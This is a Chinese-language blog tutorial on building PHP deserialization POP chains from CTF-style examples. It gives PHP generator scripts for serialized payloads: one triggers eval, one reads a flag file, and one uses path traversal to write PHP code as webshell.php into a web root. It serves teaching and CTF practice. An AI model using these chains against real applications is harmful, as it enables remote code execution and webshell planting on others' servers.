php 反序列化POP链的构造与理解

php反序列化漏洞算是老生常谈了,而php反序列化在结合Phar://协议扩展攻击面方法出来后又火了一把简单的反序列化知识在我这篇博客里总结啦。这篇博客主要是总结POP链的构造和理解。

构造POP链

首先,如果想要利用php的反序列化漏洞一般需要两个条件:

  1. unserialize()函数参数可控。(还可以结合Phar://协议)
  2. 魔法方法和危险函数。

这两个条件都是不言而喻的,反序列化漏洞就是反序列化后魔法方法的执行,导致了魔法方法中的危险函数被执行。

可是我们常常会发现想要利用的危险函数并不在存在有魔法方法的类中,而此时就是要构造POP链,让没有关系的类扯上关系。

例子

lemon师傅的例子:

<?php
class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal {
    function action() {
        echo "hello";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['d']);

可以看到,我们先在evil类中找到了eval危险函数,在lemon类中找到了可以利用的魔法方法__destruct(),怎么利用它俩呢?首先,虽然__destruct()执行的是normal类的action,但是我们可以看到evil类也有action函数,且eval函数也在evil类的action方法中。

我们都知道,__construct()函数是在类刚创建时执行的,这意味着即使我们将normal类替换成evil类叶柄不会影响后面的代码,而我们希望在__destruct中执行的action就变成了evil中的action。

生成序列化数据:

<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));

我们再看一个例子(2019安恒杯1月赛):

 <?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new sec;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  

class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  

if (isset($_GET['data']))  
{ 
    $Input_data = unserialize($_GET['data']);
    echo $Input_data; 
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?> 

这道题其实和上面一题差不多,也是在baby类中的__toString()魔法方法中借用cool类的read()函数读取文件。

其中这道题还有以下的限制代码

$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)

$sth我们并不知道值,但如果我们事先将bbb的指针指向aaa,那么就一定可以成功了。

$a = new baby();
$a->bbb = &$a->aaa;
echo urlencode(serialize($a));

复杂一点的例子

还是lemon师傅博客中的例子:

<?php

class OutputFilter {
  protected $matchPattern;
  protected $replacement;
  function __construct($pattern, $repl) {
    $this->matchPattern = $pattern;
    $this->replacement = $repl;
  }
  function filter($data) {
    return preg_replace($this->matchPattern, $this->replacement, $data);
  }
};

class LogFileFormat {
  protected $filters;
  protected $endl;
  function __construct($filters, $endl) {
    $this->filters = $filters;
    $this->endl = $endl;
  }
  function format($txt) {
    foreach ($this->filters as $filter) {
      $txt = $filter->filter($txt);
    }
    $txt = str_replace('\n', $this->endl, $txt);
    return $txt;
  }
};

class LogWriter_File {
  protected $filename;
  protected $format;
  function __construct($filename, $format) {
    $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this->format = $format;
  }
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    //TODO: Modify the address here, and delete this TODO.
    file_put_contents("/var/log/" . $this->filename, $txt, FILE_APPEND);
  }
};

class Logger {
  protected $logwriter;
  function __construct($writer) {
    $this->logwriter = $writer;
  }
  function log($txt) {
    $this->logwriter->writeLog($txt);
  }
};

class Song {
  protected $logger;
  protected $name;
  protected $group;
  protected $url;
  function __construct($name, $group, $url) {
    $this->name = $name;
    $this->group = $group;
    $this->url = $url;
    $fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
    $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
  }
  function __toString() {
    return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
  }
  function log() {
    $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
  }
  function get_name() {
      return $this->name;
  }
}

class Lyrics {
  protected $lyrics;
  protected $song;
  function __construct($lyrics, $song) {
    $this->song = $song;
    $this->lyrics = $lyrics;
  }
  function __toString() {
    return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
  }
  function __destruct() {
    $this->song->log();
  }
  function shortForm() {
    return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
  }
  function name_is($name) {
    return $this->song->get_name() === $name;
  }
};

class User {
  static function addLyrics($lyrics) {
    $oldlyrics = array();
    if (isset($_COOKIE['lyrics'])) {
      $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
    }
    foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
    setcookie('lyrics', base64_encode(serialize($oldlyrics)));
  }
  static function getLyrics() {
    if (isset($_COOKIE['lyrics'])) {
      return unserialize(base64_decode($_COOKIE['lyrics']));
    }
    else {
      setcookie('lyrics', base64_encode(serialize(array(1, 2))));
      return array(1, 2);
    }
  }
};

class Porter {
  static function exportData($lyrics) {
    return base64_encode(serialize($lyrics));
  }
  static function importData($lyrics) {
    return serialize(base64_decode($lyrics));
  }
};

class Conn {
  protected $conn;
  function __construct($dbuser, $dbpass, $db) {
    $this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db);
  }

  function getLyrics($lyrics) {
    $r = array();
    foreach ($lyrics as $lyric) {
      $s = intval($lyric);
      $result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s");
      while (($row = $result->fetch_row()) != NULL) {
        $r []= unserialize(base64_decode($row[0]));
      }
    }
    return $r;
  }

  function addLyrics($lyrics) {
    $ids = array();
    foreach ($lyrics as $lyric) {
      $this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
      $res = $this->conn->query("SELECT MAX(id) FROM lyrics");
      $id= $res->fetch_row(); $ids[]= intval($id[0]);
    }
    echo var_dump($ids);
    return $ids; 
  }

  function __destruct() {
    $this->conn->close();
    $this->conn = NULL;
  }
};

代码这么长啊,放心,通常都会有很多用不到的类,而且一步步的回溯都不困难。

首先我们先找到能利用的危险函数

  1. LogWriter_File类中的file_put_contents函数,可以用来写木马。
  2. OutputFilter类中,由于preg_replace函数pattern可控,如果在php版本不高于5.5的情况下可以执行命令。

好,这里我就只分析file_put_contents函数写木马的POP链怎么构造。

找到了危险函数就要找可以利用的魔法方法啦,每一个类的魔法方法都一个个的跟踪的话我感觉比较麻烦,我比较喜欢通过危险函数一步步的追溯到可以利用的魔法方法。

首先,file_put_contents函数是在LogWriter_File类的WriteLog方法中的,搜索在Logger类的log方法中执行了WriteLog方法,搜索发现在Song类的log函数执行了Logger类的log方法。最后,在Lyrics类的__destruct魔法方法中执行了Song类的log函数。

哈,舒服了,理清楚了这个链条,那么我们下一步就是构造反序列化数据并想办法把我们要写的木马内容和地址放在里面,而这个链条的所有类我们只需要考虑相关的类方法,在链条中不存在类方法可以直接注释掉。值得注意的是,这意味着下面的好几个类没有用了。

先把用不到的类和部分类没有用到的方法(没有用到的方法是不用分析的,包括没用的属性)。并且,要知道这些类的__construct()方法仅仅作用在于帮我们构造,如果它们里面存在限制的话我们完全可以删掉。

就比如Song类,其实我们只用到了log函数,再加上__construct方法帮我们构造,其他的函数大可删掉。log()函数用到了$name$group属性,再加上构造POP链的$logger,剩下$url参数完全可以删掉。精简如下:

class OutputFilter {
  protected $matchPattern;
  protected $replacement;
  function __construct($pattern, $repl) {
    $this->matchPattern = $pattern;
    $this->replacement = $repl;
  }
  function filter($data) {
    return preg_replace($this->matchPattern, $this->replacement, $data);
  }
};

class LogFileFormat {
  protected $filters;
  protected $endl;
  function __construct($filters, $endl) {
    $this->filters = $filters;
    $this->endl = $endl;
  }

  function format($txt) {
    foreach ($this->filters as $filter) {
      $txt = $filter->filter($txt);
    }
    $txt = str_replace('\n', $this->endl, $txt);
    return $txt;
  }
};

class LogWriter_File {
  protected $filename;
  protected $format;
  function __construct($filename, $format) {
    $this->format = $format;
    $this->filename = $filename;
  }
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    //TODO: Modify the address here, and delete this TODO.
    file_put_contents("/var/log/" . $this->filename, $txt, FILE_APPEND);
  }
};

class Logger {
  protected $logwriter;
  function __construct($writer) {
    $this->logwriter = $writer;
  }
  function log($txt) {
    $this->logwriter->writeLog($txt);
  }
};

class Song {
  protected $logger; 
  protected $name;
  protected $group;
  function __construct($name, $group, $logger) {
    $this->name = $name;
    $this->group = $group;
    $this->logger = $logger;
  }
  function log() {
    $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
  }
}

class Lyrics {
  protected $lyrics;
  protected $song;
  function __construct($lyrics, $song) {
    $this->song = $song;
    $this->lyrics = $lyrics;
  }
  function __toString() {
    return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
  }
  function __destruct() {
    $this->song->log();
  }
};

到了最后的构造时间,我还是喜欢从危险函数开始构造。

首先,file_put_contents函数是在LogWriter_File类的WriteLog方法中的,LogWriter_File类的第一个参数是写入文件的文件名,第二个是LogFileFormat类实例(可以看到,第二个参数返回的是被过滤的写入文件的内容)。LogFileFormat类第一个参数是OutputFilter类实例,第二个是替换'\n'的字符。OutputFilter类第一个参数是pattern,第二个是替换对象,为了不过滤OutputFilter两个参数设置一样的。

$outputfilter = new OutputFilter("", "");
$logfileformat = new LogFileFormat($outputfilter, "\n");
$log_write_file = new LogWriter_File('../../../../var/www/html/webshell.php', $logfileformat);

以上再顺便把shell地址改到web目录。

接下来是Logger类用到了LogWriter_File类,只有一个参数正好是LogWrite_Fiel类。

$logger = new Logger($log_write_file);

接下来是Song类调用了Logger的log方法,参数便为WriteLog的参数,即为写入文件的内容。最后套如$Lyrics类中。

$song = new Song('JrXnm','<?php phpinfo() ?> ', $logger);
$lyrics = new Lyrics('JrXnm',$song);

最后整体的payload为:

<?php

class OutputFilter {
  protected $matchPattern;
  protected $replacement;
  function __construct($pattern, $repl) {
    $this->matchPattern = $pattern;
    $this->replacement = $repl;
  }
  function filter($data) {
    return preg_replace($this->matchPattern, $this->replacement, $data);
  }
};

class LogFileFormat {
  protected $filters;
  protected $endl;
  function __construct($filters, $endl) {
    $this->filters = $filters;
    $this->endl = $endl;
  }

  function format($txt) {
    foreach ($this->filters as $filter) {
      $txt = $filter->filter($txt);
    }
    $txt = str_replace('\n', $this->endl, $txt);
    return $txt;
  }
};

class LogWriter_File {
  protected $filename;
  protected $format;
  function __construct($filename, $format) {
    $this->format = $format;
    $this->filename = $filename;
  }
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    //TODO: Modify the address here, and delete this TODO.
    file_put_contents("/var/log/" . $this->filename, $txt, FILE_APPEND);
  }
};

class Logger {
  protected $logwriter;
  function __construct($writer) {
    $this->logwriter = $writer;
  }
  function log($txt) {
    $this->logwriter->writeLog($txt);
  }
};

class Song {
  protected $logger; 
  protected $name;
  protected $group;
  function __construct($name, $group, $logger) {
    $this->name = $name;
    $this->group = $group;
    $this->logger = $logger;
  }
  function log() {
    $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
  }
}

class Lyrics {
  protected $lyrics;
  protected $song;
  function __construct($lyrics, $song) {
    $this->song = $song;
    $this->lyrics = $lyrics;
  }
  function __toString() {
    return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
  }
  function __destruct() {
    $this->song->log();
  }
};
$outputfilter = new OutputFilter("", "");
$logfileformat = new LogFileFormat($outputfilter, "\n");
$log_write_file = new LogWriter_File('../../../../var/www/html/webshell.php', $logfileformat);

$logger = new Logger($log_write_file);

$song = new Song('JrXnm','<?php phpinfo() ?> ', $logger);
$lyrics = new Lyrics('JrXnm',$song);

echo urlencode(serialize($lyrics));